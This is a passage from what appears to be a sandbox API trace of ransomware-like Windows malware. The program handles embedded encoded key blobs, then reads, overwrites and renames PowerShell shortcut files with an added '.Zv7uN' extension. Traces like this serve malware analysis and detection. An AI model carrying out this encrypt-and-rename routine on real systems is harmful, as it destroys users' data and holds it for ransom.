MKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0132.444] GetCurrentThreadId () returned 0xa30 [0132.445] GetCurrentThreadId () returned 0xa30 [0132.445] GetCurrentThreadId () returned 0xa30 [0132.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.445] GetCurrentThreadId () returned 0xa30 [0132.446] GetCurrentThreadId () returned 0xa30 [0132.446] GetCurrentThreadId () returned 0xa30 [0132.446] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise (x86).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.446] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.446] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.446] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x5bc [0132.446] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.447] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x5bc, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f108*=0x5bc, lpOverlapped=0x0) returned 1 [0132.450] CloseHandle (hObject=0x1dc) returned 1 [0132.450] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise (x86).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.453] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0x5bc, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f114*=0x5bc, lpOverlapped=0x0) returned 1 [0132.455] CloseHandle (hObject=0x1dc) returned 1 [0132.455] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise (x86).lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE (x86).lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise (x86).lnk.zv7un")) returned 1 [0132.457] GetCurrentThreadId () returned 0xa30 [0132.457] GetCurrentThreadId () returned 0xa30 [0132.457] GetCurrentThreadId () returned 0xa30 [0132.457] GetCurrentThreadId () returned 0xa30 [0132.457] GetCurrentThreadId () returned 0xa30 [0132.457] GetCurrentThreadId () returned 0xa30 [0132.457] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d750717, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d750717, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d750717, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell ISE.lnk", cAlternateFileName="WINDOW~3.LNK")) returned 1 [0132.457] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.457] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.457] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d750717, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d750717, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d750717, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x5bc)) returned 1 [0132.458] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell ise.lnk")) returned 0x20 [0132.458] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell ISE.lnk", dwFileAttributes=0x80) returned 1 [0132.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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